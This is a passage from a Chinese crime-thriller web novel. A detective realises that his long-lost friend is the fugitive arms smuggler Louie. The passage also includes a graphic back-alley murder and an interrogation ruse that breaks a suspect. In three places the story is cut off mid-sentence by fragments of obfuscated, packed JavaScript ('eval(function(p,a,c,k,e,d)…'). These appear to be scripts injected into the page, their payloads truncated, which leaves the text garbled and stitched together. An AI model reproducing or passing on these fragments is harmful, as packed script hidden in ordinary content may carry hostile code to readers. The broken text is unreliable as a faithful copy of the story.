阿登,你到底怎么了?你快点去报警,再晚就真来不及了…… 阿登,听我的,就当帮我一次忙,回头等拿了压岁钱,我请你吃汽锅鸡…… 所以,陈登!你为什么没有发现!你为什么没有发现!! 十八年前的错误,十八年后你还在犯!陈登,你怎么回事! 弓起身,把头低下,没有人看到陈登的眼泪。 罗誉也被带到了医院,他的脖子被子弹擦伤,一名护士在为他处理伤口。史蒂文也有一些小伤,坐在他隔壁。 小护士动作很快,也很轻柔,为罗誉处理完,轻声嘱咐了两句。罗誉含笑道谢。 小护士知道这两人是随警察们一起来的,但只是有一位警员陪在他们不远处,似乎没有像那几个枪伤的那样被警方戒备看管,就以为这两人大概也是便衣警员这一方的,也没多想,就端着治疗盘去处理下一个病患,急诊好忙的。 罗誉垂下眼,左手搭着右手,揉捏指根的关节。 阿登,我公司那边出了点事……对不起,下次我来再请你吃汽锅鸡…… 对不起,可能没有“下次”了……罗誉不免有些遗憾地想。 老王的事,超出了他的计划。在他原本的计划中,取保候审撤销,警方会撤回对他俩的关注,而那个人即便在他们取保候审时期,都敢派人来酒店见他们,撤销后他就只会更大胆。罗誉突然的退房,扰动的应该是那人安排在酒店中的眼线。为了留住罗誉,继续将他困在这里,接下来那人必有动作。 在机场,有着太多的摄像监控,人流也大,行动不太可能放在那里,所以唯有去机场的路上。因此,他算好时间,在即将从绕城高速进入机场高速的时候,发信息给陈登告别。警方或许在这之前已经知道了他要走的事,但他主动告知,应该能够很大程度上消弭警方的疑虑,从而延缓对他的反应。 然后,就是等到在机场高速上,该发生的都发生完,警察再姗姗来迟,收拾现场。这是最完美的状态。他和史蒂文能有足够的时间清理掉对他们不利的证据,比如枪械。警方只会看到他们遇袭,他和史蒂文会再次成为最完美的受害人,刚刚洗清绑架犯的嫌疑,又遭黑手。 如果运气好,或者说那个人足够自大,说不定也会现身。他们之间的事,着实不应该拖那么多年,早就应该了结,一了百了的那种了结。 罗誉还是很希望那个人能出现的,这样就算不能亲手杀了他,也有机会能让警方将他当场抓住。当然,他不出现,也没关系,罗誉只要用好“完美受害人”的身份,适当引导,也能借警方的手除掉他,只不过可能时间要长一些而已。 原本这些都很好,可偏偏哪里出了错,陈登的师父为什么会这么早来,亲眼见到他们所做的一切?他和史蒂文的诱捕、伏击……这些都不能呈现在警方视线之中,他们不可以是阴谋制造者,他们必须是受害者才对! 一瞬之间,或许是他想的有点多,才迟疑了那么一下。史蒂文和对面那些人的反应则要直接得多,他们齐齐对着那个老警察射击,他至少被打中了三颗子弹。 击倒老警察后,对方就想要撤,因为他们都知道,警察的大部队一定已经在路上了。罗誉怎么能放过他们呢?那几个受了伤的必须留下。果不其然,很快又来了个警察……是陈登。 陈登是和师父一起来的。那么他看到了么?史蒂文已经举枪射中了他师父,现在,是不是也要除掉他? 理智上,罗誉知道该怎么做,本就是你死我活,他这么多年也早已习惯。可是人就是不理智的,罗誉几乎是本能地排除了杀陈登的选项。后面的事,他知道,一发不可收拾了…… 在一旁看着他俩的警员之前见过,算是认识,等小护士走后,上前对罗誉和史蒂文说:“目前来看,你们不能走了。你俩涉嫌非法持有和使用枪支。即便你们有持枪证,在大华境内,这也是不允许的。稍等一会儿,跟我们再回去做个笔录吧。” 这些警员还不了解案情,大都还认为罗誉和史蒂文是遇袭后自卫反击,因此态度挺和善。罗誉对他点点头,警员走到一边去跟医生护士了解情况。 手机铃声响起,陈登把埋着的头抬起来。是鼠爷打来的电话,看来也是已经知道了。 “登仔,情况怎么样?”鼠爷的声音从未如此凝重。 “还在手术。”陈登哑着嗓子,声音很难听。 “……登仔,越是这种时候,你自己也越要扛住。不用怕,王哥也是经历过大风大浪的人。”鼠爷宽慰道。 “嗯!耗子叔,我明白。师父这边有进展了我第一时间告诉你。”陈登抹了把脸,给自己提提神。 “好。登仔,有什么用得着耗子叔的,你也直说。” “……耗子叔……”陈登迟疑了一下,还是打算问出口,因为他知道鼠爷是真心实意想要帮上忙的。“您知道多少关于‘吴先生’的事?” “又是他?!”鼠爷有些惊讶,不过没有多问,就表示之前已经查到一些东西,但还很零碎,凑不成能用的上的实证,让陈登再给他一点时间。 鼠爷说话是有分量的,陈登很感激,两人又互相安慰了几句,挂断了电话。 没过几分钟,老王的妻子被王琼扶着,匆匆赶来。师母一眼就看见了陈登,立刻冲了过来。 “登仔!登仔!你师父他怎么样了啊?你告诉师母!” 陈登赶忙起身相迎,把师母让到椅子上坐。“师母,您先别着急。师父还在手术室里。” 师母一时间不知道该说什么,人是坐在椅子上,可心神忐忑,终究静不下来。一起生活了这么多年,老王的职业决定了很多事情在所难免,担惊受怕也有过好几次,可这种事情是不可能会习惯的。 王琼在旁边也帮着安抚,现在只能等手术室里的进展,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你跟罗誉相认以后,叔就问过几回,不过那时候感觉他只是因为关心你才问的。后来罗誉他们取保候审,回酒店以后,叔又问了两次,这两次问得详细,这才引起我的猜想。” 所以师父不是一时的怀疑,他始终在关注调查罗誉,只是一开始怀疑的程度没那么高。 “琼姐,师父有没有跟你说过罗誉有什么样的问题,或者他到底在怀疑罗誉什么?” 王琼摇头。“他只跟我打听,但从来都让我别管多余的事,就是怕我知道太多反而危险,我懂。他从没说过他发现了点什么。” “那你之前告诉过他些什么?能让我也知道吗?” “你真要看?”王琼双眼顿时莫名发亮,“我从小到大没这么刺激过!所以我把这些都整理好,做成文档备份了!本来是想着给叔汇报的时候有条理有逻辑一些,现在你也想看,那我直接发你一份!你等等哈!”这位英雄竟然有了用武之地,王琼瞬间精神了许多,急吼吼给陈登发过去一份。 陈登拿手机认认真真地看。这些东西里,一定有让师父一直怀疑,并且越来越怀疑的东西。师父说得对,如果阿誉真有什么问题,也应该是他陈登来亲手抓住他。 王琼在一旁,欲言又止。她很想问,今天,是罗誉伤了老王吗?可又觉得还是不问的好。这么问,陈登会更难受的吧? 即便很清楚陈登只是偶尔感性,他不是一个脆弱的人,王琼还是会在罗誉的身份问题上非常纠结。她深深地知道,罗誉这个名字,在陈登的生命中,曾经占据着什么样的地位。 王琼也从不怀疑老王的专业性,他有着极为敏锐的触觉和几十年的丰富经验,如果他产生了疑虑,那一定在某个不起眼的角落里,出现过什么不对的东西,只要仔细找,一定会有。 深入骨髓的正义感使得王琼希望每一个罪恶的人都能受到相应的惩罚,不要被放过。但这一次,她也是真心的希望,这种“不对的东西”不要出现在罗誉身上。别的什么人都好,只希望不要是罗誉,希望他是无辜的,希望他是清白的。 在陈登的心中,罗誉是前半生最大的愧疚和隐痛。这一次竟然能够在茫茫人海中再次相逢,陈登的幸福感是巨大的,可是如果这份失而复得的幸福感骤然打碎,王琼不确定陈登是否还能再次修复自己。 39. 第 39 章 “上次你们提到联邦国的诺坎,于是我们对东南亚最新的情况做了一次排摸。有个新的情况,我认为会是你们近期需要关注的。”科林斯太太向来对工作充满热情,她总是很主动。 “好的,科林斯太太,您说。” “诺坎死后,他的独子瑟杰没能够压制和平衡诺坎手下的老人,以至于在两年后被干掉了。现在的继任者是一名年轻人,他很神秘,很低调,我们没有太多的信息,只知道,他叫Louie。而我们收到最新的消息是,Louie现在就在大华的K市,如果我没有记错的话,就是你们那儿。” “在这儿?科林斯太太,您确定?” “是的。我确认过了。” 陈登正在仔细翻看王琼发给他的资料。王琼记录的非常详细,虽然有大量琐碎,但对调查和分析的警员无疑是可靠的支持。 罗誉和史蒂文入住花冠皇庭之后,行程不复杂,前期由于投资目的入境,政府的招商引资专班成员和他们对接得很勤,每天也安排了带他们出去考察项目,了解实地情况等日程。后期因为卷入别墅绑架案,基本就待在看守所和酒店两处,外出极少。王琼最为详细的一段记录,是谢泽仁冒充酒店人员夜访罗誉,原来这些事是琼姐最早发现的。 但这些情况都是已经被警方掌握的,师父到底是注意到了什么? 蹙着眉,陈登努力想靠近师父的思路去找疑点。手机突然响了,是队里发来的消息。陈登眼睛开始瞪大,脸色苍白。 国际刑警组织提供消息,东南亚最大的军火走私商Louie近期入境大华,如今正在K市…… Louie…… “阿誉,你为什么喜欢这个英文名呀?” “你看,这里写着,它的意思是胜利者!” “哥们儿,在我们这里,人们对叫这个名字的人有一种天然的印象,这个名字的人喜欢旅游和自由,一生不断地追寻目标。这是个很有生命力的名字……” “你好,我是Louie,我们在车库见过。” 罗誉根本就没有想过要换个假名做掩饰,他很大胆,仗着平日里的低调,没人知道他太多的信息,没人会怀疑他…… “陈警官今天来也是为了调查案件?” “案情想不通,来换换脑子,找找启发和灵感?” 他其实那么关注我办案的进展,我竟然没有发觉不对?陈登!你是不是傻? “那你平时都喝什么?” “纯净水。” “为什么?健康理念?” “……算是吧,觉得比较干净。” 陈登不禁捂住嘴,现在才明白,“干净”指的是没有毒。身处一个朝不保夕的险恶环境,很难不习惯主动设防。 李弛说过:他看起来最文弱,可是他也受过不少伤,比如左侧锁骨像是断过,背肌也像是撕裂过! 一个国际级的罪犯,刀口舔血,这才是他的“正常生活”。可笑自己以前还会以为是他被人贩子打的,人贩子在卖了他换钱之前,怎么可能打这么重呢?残了就不好卖了。 还有,那些监控视频……罗誉会阻止史蒂文作出过激的防卫,会预判史蒂文想要掏枪,进入别墅后身体依然放松,他很确信自己的安全;史蒂文会主动站在罗誉前半个身位,会主动开路第一个进入别墅。在遭遇警察时,史蒂文有过应激反应,但应激后又被罗誉轻易地安抚住。罗誉只是反手轻轻搭在史蒂文的小臂上,两人甚至没有眼神交流。 他们确实是多年出生入死的同伴,一起扛过枪的兄弟。在来到这里之前,他们一起一定经历过很多很多凶险的事情。 “帮派内部也是个小社会,或者说一个职场环境。每个人都需要有一个位置。不是‘找到自己的位置’,而是‘为自己争取到一个位置’。帮派里是不会天然就有你的位置的。” 如今回想起罗誉说过的这些话,陈登再次为当时的自己竟然傻傻地全盘接受,对疑点视而不见感到不可思议,他对罗誉的滤镜这么厚吗?普通商人怎会如此了解帮派?真好笑啊,因为他就不是个普通商人,而是帮派头子啊! 一旦拼图被补上了关键的一块碎片,就能看清一大块图案了。 即便在取保候审,明知在警方的监控之下,罗誉仍然会关心夜总会后巷杀人案,不惜亲自跑去现场了解情况。这一定是这个案子有什么对他很特别,才会引起他的注意。 他和“吴先生”一定有很特殊的关系,旁人不了解的某种关系。 还有刘艳被虐杀的案子,也是罗誉提到了诺坎。不!不止!就连“虐杀”都是罗誉提起来的!那天晚上的谈话,完全是按照罗誉的节奏和方向走,他一直在引导……不,也不止是那天晚上的谈话…… 罗誉和“吴先生”,似乎都想要利用警方,除掉另一方! “吴先生”知道罗誉的身份,想利用大华警察抓住他。但又怕打草惊蛇,让罗誉直接跑路,于是先让他卷进小事件中,让警方把他困在这里,然后恐怕就会不断给警方送材料,罗誉就只会被越扒越深,最后在大华牢底坐穿。 而罗誉,在酒店入侵案中发觉异样,开始戒备,在别墅绑架案后看清楚对手的目的,夜总会后巷杀人案又给了他不知道什么信息,让他锁定了对手的身份,于是开始利用陈登,不断引导他们去查那人。 那么,今天机场高速的枪击呢?罗誉的取保候审被撤销了,昨天刚拿回了被扣的证件……他突然要走,不是真的要离境,是为了打“吴先生”一个措手不及! 陈登,你为什么没有发现?那么多细节,你真的不应该到今天才意识到!陈登,你为什么这么蠢,你怎么能这么蠢! 王琼眼睁睁看着陈登脸色煞白地站起身,身子明显晃了两下才稳住,转头跑出去。 陈登飞奔到急诊,他记得罗誉和史蒂文只是一些轻微的皮外伤,被带到急诊包扎。沿路遇到好几个同事,跟他同路,显然他们也收到了队里的消息,反应过来! 陈登听到他们窃窃私语。 “他就是的吧……” “但其实我们没有证据……” 可是,等他们到急诊的时候,罗誉和史蒂文不见了…… 原先带罗誉过来的小章也不见了…… 急诊的医生护士们一脸惊恐,不知所措。 很快,在一处安全通道里找到了被打晕的小章。 罗誉和史蒂文潜逃了。 陈登捏紧拳头。罗誉…… 罗誉和史蒂文袭击小章潜逃后,警队中就弥漫着压抑的氛围,似乎每个人都下意识地放低声音,整个专案组都比平时少了点活力。 大家对罗誉的情绪很复杂。一部分是因为陈登,都知道是久别重逢失而复得的好友,难免爱屋及乌;另一方面,在之前的接触中,对罗誉的观感也都不错。很多老刑警在得知国际刑警组织发来的消息时,第一时间都没有和罗誉联系起来。等到两者联系起来后,又是直觉很违和,觉得难以置信,一个人看错不奇怪,那么多老刑警都能看错? 偏偏罗誉就是跑了。关键是跑了这事儿就很灵性,罗誉肯定是不知道国际刑警组织那边的消息的。他现在跑,不就是因为眼前枪击的案子么?这案子里最严重的其实是打伤老王。如果击伤老王的是“吴先生”的人,罗誉他们开枪只为自卫还击,虽然还是非法使用枪支吧,但情节上没有那么恶劣严重。这么一想,老王受伤不会也有罗誉一颗子弹吧…… 方支队长看着低迷的士气,气不打一处来。开会!像话吗?啊?看看你们都萎成什么怂样了!你们还知道自己该干什么吗?那个谁!你来说,该干什么了? 方支队长随手一指,结果指到的就是李弛。 李弛头皮都要炸了!所有人都看着他。师父救救我! 师父也不知道该怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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机场高速枪击案的几名嫌疑人在医院一醒来,发现被警察蜀黍们亲切包围,就仿佛见到了亲人一般,热泪盈眶,激动不已。他们很清楚自己这是在关键时刻,被自家的好兄弟们扔给了善良可爱、拾金不昧的警察蜀黍了。那还有什么可说的呢?警察蜀黍可是救了他们的命啊!后面的审讯知无不言,言无不尽,主打一个要把坦白从宽的“政策优惠”享受到极致。而且,由于是几个人,彼此都希望给警方留下“自己表现更好”的印象,互相别起了苗头,把警员们都给看笑了。 更让人惊喜的是,这些人不但供出了老谢和“吴先生”,那两个夜总会后巷杀人案的参与者,也供出了那晚发生在后巷中的杀人过程。 “我可以再给你一个机会,或许你也可以不用死。”吴先生笑里藏刀。 周围的小弟们依旧堵着路,看似松弛,但马鹏飞知道,他们并不打算让自己平平安安地走出去。 “什么机会?” 马鹏飞并没有一听到吴先生这话,就卑躬屈膝地请求机会,许诺达成,反倒是冷静地想要先确认吴先生的目的。这种表现倒是让吴先生对他稍微高看了几分。 吴先生并没有撤掉周围的小弟们,他施施然脱下西装外套,扔给在一旁的老谢,身上的衬衫和马甲依然笔挺整齐。这时,老谢递上一把短刀,吴先生接过,看都没看一眼,就扔给了马鹏飞。刀子在水泥地上撞击得丁零当啷响,最后停在马鹏飞的脚边。 “很简单,你和我单挑,你只要赢过我,就能活。”吴先生语气轻松。 马鹏飞看着脚边的刀,他当然不会相信这会是一次公平的对决。如果姓吴的真的愿意就这样放过自己,根本犯不着搞这一出。这一定又有什么算计在里面。 可马鹏飞也想,自己都穷途末路了,还有什么值得姓吴的算计呢? 吴先生看他没把刀捡起来,也不以为忤,把袖口慢悠悠摘掉,把衬衫袖子往上一层层卷起到手肘,笑着说:“你不乐意也没关系,反正也就一个死嘛!你不跟我决斗,死;跟我决斗,输了,死;赢了,活。路不止一条,你自己选。” “没有别的条件了?” 吴先生卷完袖子,听到这一句,嘴角更压不住了。“疑心这么重?那如果我告诉你,你用刀,我用这个,你还不敢跟我打吗?”他又从老谢手里接过了一样东西,对马鹏飞挥了挥。 马鹏飞凝神看去,那竟然是一个空酒瓶!姓吴的想用玻璃酒瓶跟他单挑决生死? 40. 第 40 章 马鹏飞有些生气了。“你想羞辱我,那就看你有没有这个本事了。”马鹏飞矮身捡起地上的短刀,反手握住,向吴先生扑过去。 吴先生侧身一让,躲开迎面划来的刀刃。 两人开始你来我往。 马鹏飞也是白手起家,从底层杀上来的狠角色,早年间也没少跟人动刀。也就当上了老大之后,才动得少了,开始长起一层膘。如今短刀入手,当年的感觉似乎又回来了些,一时间也是打得虎虎生风。 不过,傻子也知道,这场决斗注定不可能是一场公平的对决。 马鹏飞凭借强劲的气势一度占据上风,但每当他的攻击有可能伤到吴先生时,周围包围他俩的小弟们就会有人向他投掷东西,有时是小石头,有时是他们带来的棍棒,有时是纸团……总之有些真能伤到马鹏飞,也有些纯纯出于嘲弄的目的,侮辱性极强。 马鹏飞明白了,这就是姓吴的羞辱他的方式。很幼稚,很无聊,但非常有用。在场这些人,都是姓吴的带来的人,他们有的是人跟他马鹏飞磨时间。 这种下三滥的手段,恶搞他的心态,也消磨他的体力。马鹏飞挣扎几番,犹如陷入泥潭,很快就落了下风。 吴先生一酒瓶子抡过来,砸在他的头上。酒瓶碎裂,玻璃碴子迸溅一地。 马鹏飞应声跪地,陷入半昏迷状态。 吴先生拽住摇摇欲坠的马鹏飞的衣领,让他跪在自己身前。他俯下身,凑到马鹏飞的耳边,幸灾乐祸地轻声说:“怎么这么不小心,被我打中了呢?” 马鹏飞意识模糊,额头流下的血和汗水糊住了他的眼睛,在他的面前是黑沉沉的小巷,什么都看不清楚。一如他混沌的人生,看不清来路,看不清去处…… 看不清,就不看,他一路都是这么走过来的,不看,直接杀过来。是啊,他从来不给自己留退路,可是就在刚才,他被堵住了前路,却去回头看退路。什么时候开始,他也变得如此怯懦?就是因为怯懦,才会被人利用,才会落得今天这步田地吧! 吴先生一手轻轻搭上马鹏飞的肩膀,又凑近了些。“我现在离你这么近,你现在还有力气翻盘吗?” 马鹏飞半阖的眼皮动了动,垂着的手却怎么也抬不起来。 吴先生句句温柔:“这可就不能怪我没给你机会了……” 说是决斗,马鹏飞被折腾得气喘吁吁,吴先生却脸不红心不跳,气定神闲。他直起身,用身体抵住马鹏飞的上身,防止他倒下,抓住他的头发,让他露出脖颈,然后叹息道:“真遗憾,你没能抓住活下去的机会。我本来还想,你活着才能看到你弟弟的死呢……少了这样一位观众,太遗憾了!” 马鹏飞双眼怒睁! 下一刻,滚烫的血从脖颈间喷射而出!吴先生手中被击碎的半截酒瓶闪着细碎的寒光,深深扎进马鹏飞的脖子。血液从那半截瓶口中争先恐后般的涌出,流淌到地上,洇开一大片。 怀中的马鹏飞瞬间失去了反抗,身体痉挛,抽搐了一阵,最后软了下来。 吴先生眼神炙热,他抵着尸体许久未动,唯有他自己知道,他激动到微微发抖。原来是这种感觉! 周围的人也都没有动。直到马鹏飞的身体瘫软地摔在地上,发出“噗”的一声。人群中有几个胆小些的小弟不由自主地往后退了两步,更多的人则伴随着震惊、恐惧、兴奋、紧张等等复杂的情绪,怔在原地。 吴先生慢慢闭上双眼,面上是陶醉和享受的神情。血还在从他的手上滴落。老谢咽了咽口水,强自镇定,掏出一块丝质的手帕,上前为吴先生递上。吴先生接过来,细细地擦拭每一根手指。他享受整个过程,滚烫的、悸动的,杀人的过程。 亲自动手和旁观的感受完全不同,更是千百次在脑内的假想无法比拟的!他很早就在想,那时候到底是怎样的一种感觉呢?和他用刀割开别人脖子的感觉一样吗?应该不一样!什么时候能够自己体验一把该有多好! 在这一刻,夙愿得偿! 原来是这种感觉! 大家振奋不已。至此,酒店入侵案、夜总会后巷杀人案和机场高速枪击案已经明确形成关联。而机场高速枪击案的目标人物和花冠皇庭酒店入侵案、桃源湾别墅绑架案一致,都是疑似为联邦国大军火走私头目Louie,目前潜逃中的罗誉。这些案件,背后均为“吴先生”集团策划和执行。 老王一直存疑,并让鼠爷帮忙调查的问题——“吴先生”为什么针对罗誉,似乎也终于有了答案。 “由此可知,这是两个跨国犯罪集团之间的,针对性的斩首追杀。”冯佳佳的总结简短有力,获得方支队长的赞许。 冯佳佳上次给李弛挡枪那一下子,惊艳众人。在那之后的大大小小的案情分析会上,方支队长都会有意无意给她发言的机会,听她的想法。然后方支队长就更开心了。这姑娘平日里不显山露水的,还以为就一普通孩子,谁知道她也是一座宝藏啊!队里这三个小孩,李弛敢打敢拼,一员猛将,陈登有勇有谋,见微知著,极擅推演,这个冯佳佳则是个统领全局型选手,大局观比两个男生都要强,做事情干脆利落,半点都不拖泥带水,头脑冷静,条理清晰,特别能抓重点,对事情的定调拿得特别准!方支队长忍不住兴奋地搓搓手。人才!都是人才!都是我们队的人才! 与此同时,科林斯太太的工作效率也非常值得信赖,这一次,她整理了一份SG集团在大华境外洗钱的资料。 简直就是瞌睡了递枕头啊! 警方当即批捕老谢。不过,老谢竟然已经潜逃了。倒不是他得了什么内部消息,而是在机场高速枪击案那几人被捕之后,这老狐狸就跑了。众人不免觉得窝囊。 可是天无绝人之路啊! 陈登的手机响起,鼠爷来电。陈登瞬间眼睛亮了,有好事的预感! “登仔,过两天是你生日,耗子叔给你送个生日礼,你可别嫌弃。” “耗子叔,您说啥呢?”我生日还得小半年呢,陈登心说。 “长阳街东曲路景福苑x幢x单元802,是个好地方。” 柳暗花明! 老谢在那套小公寓里正吃盒饭呢,头还没来得及抬起来,就被破门而入,摁在了饭盒里…… 警察蜀黍们也是没想到啊!还没来得及真情实感地沮丧一把,就把人抓回来了! 不过人是抓回来了,但老谢也是个贼精贼精的老狐狸啊!对于洗钱的事情,由于国际刑警组织收集的资料,证据链很清晰,老谢只能先是承认走这些账目,但坚决否认自己知道资金来源是非法的。而机场高速抓回来那几个小混混的指认,老谢就更不承认了。他坚持自己根本没有见过这几个人,不认识他们,更不可能指派他们去做非法的事情,自己是个遵纪守法的好公民! 呵呵,这种胡话怎么会有人信呢! 虽说本来也没指望这种人上来就老老实实全部交代,但嘴脸太难看,无耻得让人生理不适了。陈登和冯佳佳倒还好,李弛是气得鼻子都歪了。 老陆宝贝自家徒弟,看着单向玻璃那边的老谢,嘿嘿一笑,这老小子值得一副猛药! 转天,老谢被带进一间审讯室,刚被铐在审讯椅上,门一推,又进来两人。一个男警察把另一个穿着囚衣的男人铐在另一张审讯椅上,准备开始审讯。另一名女警察进来,发现水杯里空的,于是招呼了一声转身出去倒水。男警察嗯了一声,打开笔记本,发现水笔没墨了,他“啧”了一声转身开门朝门外的某人喊,给他带支笔。还没喊完,外面一阵骚动,似乎是有嫌疑人挣脱想跑。这还得了?男警察紧张地跑出去帮忙。 审讯室里就剩下了老谢和那个囚衣男,面面相觑……这种情况,真的可以吗…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这……呵呵,我也不是很清楚。只是有天看到新闻上突然说死了人,后来助理就告诉我,死的就是小马。这事儿警方不是还在调查么?稍安勿躁,总能查出来的。” “您是看新闻才知道的?” “是啊。” “可我哥的手下来探监,怎么跟我说,您那晚就在现场啊?”马程飞语调沉沉。 老谢后背一凉。那晚人多眼杂,还真不好说。他僵住,偷偷用余光观察马程飞。“我怎么会在现场呢?你哥的手下跟你说的?他还说什么了?” “他还说……就是你带人来砸我哥的场子。”马程飞的目光已经像淬了毒一般,老谢莫名觉得就像被一条毒蛇盯住。 “这,这怎么可能呢!”冷汗涔涔。 “我也说,谢爷怎么可能害我哥呢,我哥那么信他,信到就连亲弟弟都给送进牢里来了……” 老谢几乎要跳起来,嘴里忙不迭地辩解。“这说的是哪里话,你被抓可跟我没有关系啊!小马啊,你是不是对我有什么误会啊!” “怎么会是误会呢。”马程飞的语气冷若冰霜,“我哥都跟我说了,酒店套房那些消息,都是多亏了谢爷呢!谢爷也不必过谦,我上外头打听过,就连鼠爷那边的消息都不如你的详细。要不然,我和我哥能上这钩?” 老谢喉头动了动,在给马鹏飞情报这事儿上,他还真没得洗,但没关系,这和案发时在不在现场没有关系。“小马啊,那些消息确实是我给的你哥。你哥他苦啊!那些日子接连不顺,他着急想办法翻盘啊,这才求了我好几次……” “所以你觉得他已经走投无路了,正好利用来给你当炮灰。”马程飞幽幽打断他。 “这是怎么说的,这是怎么说的呢!天地良心,我也是想着帮一帮小马,让他尽快度过难关啊!”老谢下意识又抬了抬手,放在平时,他这会儿会掏出西装胸袋中的手帕,在额头上擦汗,顺便借着手帕的遮掩,偷偷观察对方。可这会儿他的手被铐住,一动,手铐哗啦作响,他这才作罢。 “也对,事情办成了,我哥或许就能挨过那时的难关。没办成,就弄死,也就不用过那些难关了。”马程飞淡淡地说着,手指动了动,垂眼抠自己的手指甲。 41. 第 41 章 “小马,我不知道你哥那个手下都跟你说了些什么,让你对我产生这么大的误解,你好像已经认定了我是杀你哥的凶手?不管怎么说,我没有杀你哥。这一点毋庸置疑,你尽可以让警察来查我。我直白告诉你,今天我会在这里,是因为公司有一些经济问题需要向警方解释一下,解释清楚了也就没事了,跟你哥和你没有任何关系,你不要想多。就算你跟警察咬定我是杀你哥的凶手也没用,警察凭证据说话。我不是凶手,他们怎么查,我都不是凶手。”老谢陡然转变温和的态度,强硬起来。 马程飞抬眼直视他,眼睛里全是血丝。“不是你?那你在害怕什么?” 老谢一怔,原以为对面是个单纯的蠢货,没想到竟然很敏锐。他确实在害怕。 自从机场高速上的行动失败,老谢就躲了起来,但说出来可能很多人会觉得荒谬,他躲的人其实不是警察,更多地是为了躲“吴先生”,那个可怕的“吴先生”。 老谢亲眼目睹了因为行动失败,扰乱了“吴先生”计划的马鹏飞是怎么惨死街头,而他自己,在“吴先生”的心目中,地位和马鹏飞并不会有什么区别。他们都不过是“吴先生”的棋子罢了。老谢跟随“吴先生”多年,他非常了解,并确信这一点。他不想成为第二个马鹏飞。 警察破门而入那一刻,老谢是无比恐慌的,但警察喊出“不许动”时,老谢狠狠松了一口气。这些人是警察,不是“吴先生”的人。在警察手里,他至少能活着进监狱,如果是“吴先生”的人,他的血和脑浆已经和盒饭混在一处了。 而当审讯过了第一轮时,老谢更加安心。看来警方只有他经济犯罪方面的一部分证据,他有办法让自己以极小的代价,将这个问题揭过。只要警方不能证实他还涉及组织团伙方面的罪行…… 可马程飞的出现,让老谢意识到,警方很可能也已经查到了组织,也知道他在组织中的角色。既然经济问题拿不住他,就从这方面寻找突破了。放在以往,马程飞这种小角色,老谢是不放在眼里的。可今时不同往日啊!而且这个马程飞,看上去已经因为他哥的死,彻底疯了…… 老谢再一次看了眼马程飞被铐住的双手,庆幸警察没有给他省下这副手铐。 看着结实的手铐,老谢心下稍安,嘴上还是要硬气起来。“我怕什么?你就活在意淫里吧!” 马程飞阴郁地盯着他,突然笑了。他问:“如果只是我的意淫,你为什么那么紧张?我不是在意淫,我在做的是有逻辑的推演。其实你就是‘吴先生’。你因为我行动失败,影响了你的某些计划,动不了我就迁怒我哥。你带人去夜总会,在后巷亲手杀了我哥。你可能还想着,等我刑满出去了,还要再杀了我……” 老谢开始哆嗦。“不是!”这人有病吧! “斩草不除根,春风吹又生。你肯定想着还要处理掉我,说不定手机日历上都已经记上日程了……” “不是的!不是我!我不是‘吴先生’!”老谢都冤死了,这是怎么个脑回路,他还没洗脱境外洗钱的罪名,现在又要替“吴先生”顶锅了不成? “怎么可能不是你呢?除了你,还有谁见过所谓的‘吴先生’,你是大老板,SG那么大的集团都是你的,谁还能做你的主?你说不是你,那还能有谁呢?” “……”老谢突然一顿,有些意识到不对。“不对,你在诈我!” 马程飞也是一顿,不过很快想起来之前陈登给过他的预案,他们想到过老谢可能识破他们的策略,因此都有准备一些简单的预案。马程飞心里有底,就不慌张。“你就是‘吴先生’!是你杀了我哥!”他重复着之前的话,装作更加偏执的模样。 老谢虽有猜疑,但他倒是也听说过马氏兄弟的感情非常好,马程飞难说不是真的因为哥哥的死而受到了严重刺激。“你这疯子,我跟你说不通!”老谢决定无论如何,中断这场对话。 马程飞突然就停了下来。他定定地看了老谢一会儿,突然又笑了起来,咧开的嘴唇间是白色的牙,让老谢想起鲨鱼牙齿般的阴冷。“你是不是在想,反正我现在不能拿你怎么样?” 老谢没有回答,他不想再跟马程飞说任何话。就在他动念想要将头撇向另一边时,惊悚的一幕出现了! 马程飞双手握拳,稍稍提起两手,腕间手铐那条不长的链条骤然绷紧。只见他咬紧牙,骤然发力一扯,链条砰的一声被硬生生崩断! 崩断了……竟然有人能够把手铐扯断? 老谢怔愣了一秒,继而心中迅速被猛烈的恐惧填满。 “你说,我在这里杀了你,为我哥哥报仇怎么样?我可能是第一个能让那么多警察做见证人的杀人犯了吧!这样,我哥也就不算是死得不明不白。我也下去陪他,他也不会孤单……” 马程飞缓缓起身,脱离了审讯椅的禁锢,向老谢一步步走去。 老谢开始剧烈地挣扎起来,可是他没有那个力量崩断手铐,他被死死地限制在椅子里。老谢开始嚎叫,语无伦次地叫喊,一会儿是求饶,一会儿是否认,一会儿是讨好谄媚,一会儿又是疯狂咒骂。这一刻的马程飞,压迫感太过强烈,老谢被吓破了胆。 马程飞缓缓靠近,伸手在老谢的颈间抚摸,仿佛在寻找下手的位置,这一刻,老谢全面崩溃。 “你听我说,我真的不是‘吴先生’那个混蛋,我也是被他害的!当初还是我救了他的命,结果他就控制我给他干这干那,从来也没给我个好脸色,就像是我欠了他的似的。抛头露脸的危险事全都让我去干,所以你们都没见过他,可是真的有这么一个人,不是我!你哥也不是我杀的,那天晚上是姓吴的杀了你哥,不是我!我只是个傀儡,我也是身不由己的,我不想给他顶罪!不是我!!你杀我也不能替你哥报仇,冤有头债有主,你得找那个姓吴的!不是我!!”老谢嘶吼着说出这番话,浑身颤抖,双脚乱蹬。他不想死,他是个胆小鬼,他明明已经被警察抓住了,应该就不用死了,怎么还会碰到这样的事情,难道就要这样莫名其妙地死在一个疯子手里么?可他何其无辜!是姓吴的造的孽啊!嗓子已经喊到岔劈了,谁来救救他。“救命!救命啊!!救救我!!来人呐!!” 审讯室的门被推开,本来也没干什么的马程飞被人拉开,坐回到自己的审讯椅上。 老谢喘着粗气,两眼发直,瘫倒下来,腿间涌出热流…… 崩溃过的谢泽仁再也无力狡辩。 